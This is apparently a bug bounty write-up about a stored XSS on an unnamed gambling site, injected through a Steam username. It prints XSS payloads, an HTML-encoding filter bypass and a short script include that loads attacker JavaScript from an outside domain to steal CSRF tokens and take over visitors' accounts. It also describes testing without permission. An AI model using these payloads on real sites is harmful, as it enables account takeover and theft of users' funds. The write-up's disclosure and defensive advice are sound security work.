(XSS) Account takeover using Steam

0x4KD
5 min readMay 1, 2022

--

This story begins a couple of years ago. I was navigating through a gambling website (which I cannot disclose) when I decided I would search for vulnerabilities on it.

Usually, this is not a good practice since you don’t have permission to do so. Getting suited is always a risk. Anyway, I felt like it could be my lucky day, so I just went for it.

Reconnaissance

I was unsure what the backend looked like, but I was sure they were using Vue on the front end. I’m not a front-end guy, and since Vue makes it very easy for programmers to clean up user inputted text, I decided to start testing the API instead of trying to get an XSS.

Probably I spent a couple of hours getting the site’s endpoints and testing for SQL injection on all the available parameters. None of that worked. I remember being pretty mad on the site for not having an account configuration endpoint (it was impossible to change the username, email address, or contact information since they were storing none).

At this point, it was pretty obvious that the programmers didn’t trust the users at all. There wasn’t even a search endpoint. They didn’t want any user input on the website.
And that’s when I realized that could be their weak point: If they’re not expecting to store any user input data, maybe the frontend guys didn’t even make an effort to clean up the information from the backend side!

Stored XSS

Since the only way to log in was using Steam, I went to my Steam account and changed my name to <script>alert()</script> . I logged out, and when I logged in again: BANG! Stored XSS.
The page owners were not trusting the users, but Steam names can’t be harmful… Right?

Cool, huh? Not really. My username was only being shown on the profile page (https://website.com/<profile_id>). Usually, when it comes to companies that are not in Bug Bounty programs, they will only listen to you if the bug is a risk for other users.

And, you know, everyone has friends who like rushing. One of mine said:

“Well, you could send your profile link to a victim.”

But that was not good enough for me. Do you really want to lower your vulnerability CVSS because it requires user interaction?

“Now I just need to turn this out into something more dangerous so they reward me”, I said.

Domain replacement bypass

So I thought I would try adding an iframe out of curiosity. I changed my Steam name to <iframe src="https://mydomain.com" /> and nothing appeared.

Wait, what? My domain doesn’t serve any X-Frame-Options header, what the heck is going on?
I looked at the code to find out that the content was: <iframe src="//" /> .
They detected the URL and removed it…

Let’s try using HTML encoding: <iframe src="https://mydomain&#46com" />
(&#46 means .).

Voilà! iFrame injected—good news for me.
But let’s be realistic: inserting an iframe won’t make the vulnerability more dangerous. It’s been good to discover the programmers are ~somehow~ sanitizing the user input, and now we know we can bypass it, so let’s go back to where we started.

Reducing input to increase injected code

Nice XSS, but did you know Steam will only allow you to use names that contain less than 32 characters?

That’s a pain in the ass because I couldn’t do anything dangerous (like stealing the user cookies, etc.) using only 32 characters. I needed to inject my .js file. Let’s see how that went:

<script src="https://mydomain.com/script.js"></script>

Huh, that’s also too many characters.
You’re probably about to say: “You could have used an URL Shortener.”
Well, you would be right. But my genius mind realized that while I was writing the post two years later 😅.

I ended up buying a new domain (which was shorter than the previous one), renaming the javascript file from script.js to a.js and removing the https: like so:

<script src="//ab.dc/a.js"></script>

And hell yeah, that worked.

They should have had some sort of Content-Security-Policy defined. But since there was none, I could inject a javascript file served from my website.

Create the risk

Everything looked pretty OK except that this was not affecting any user but me.

However, I noticed that the website showed the most significant wins (along with the player usernames) on the main page. There was no way of knowing if that section was also XSS vulnerable, but I decided to try.

I loaded 50$ into the account and started playing. Eventually, I got a jackpot, and then… That’s right! My username was displayed on the main page.
DOM XSS! The WebSockets connection injected the payload into everyone’s browser.

Too many CSRF Tokens?

It’s ok to add CSRF tokens. No, it’s mandatory to add CSRF tokens, right?
Well, in my humble opinion, that’s not 100% true.

Why would you add a CSRF token to a page that doesn’t have any form?
It doesn’t help at all. And actually, that was the reason why I was able to perform actions on behalf of other users.

Since the page always included the CSRF token in the <head> tag, I retrieved it using my injected script and controlled every user account visiting the main page. And there were no forms on it, so it didn’t really need a CSRF token.

Using the user’s token, I could have been able to spend all the user’s money on games they didn’t want to. And that was a big deal for the owners of the website.

Letting them know

Long story short: Once I notified the vulnerabilities, they answered in less than 24h, asking for details and being super friendly. They were happy I had contacted them instead of exploiting it, and they awarded a big bounty.

But how could they have avoided all this mess?

  • Do not trust anyone, not even Steam. Always sanitize the input data.
  • Add headers for Content-Security-Policy on your website. I get it, sometimes it’s necessary to include inline JS code, but you can always sign it and include it in the CSP using thenonce attribute.
  • Do not add CSRF tokens everywhere. Include them only in pages where it is intended to be used. (And yeah, I know that I could have stolen the user cookies and used their session to navigate into a page where I could find the CSRF token, but at least this adds another layer of complexity).

Don’t give up! There will always be a way to go further and make you eligible for the best rewards.

--

--

0x4KD

Bug Bounty Hunter, Full-Stack Web Developer & Tech Team Leader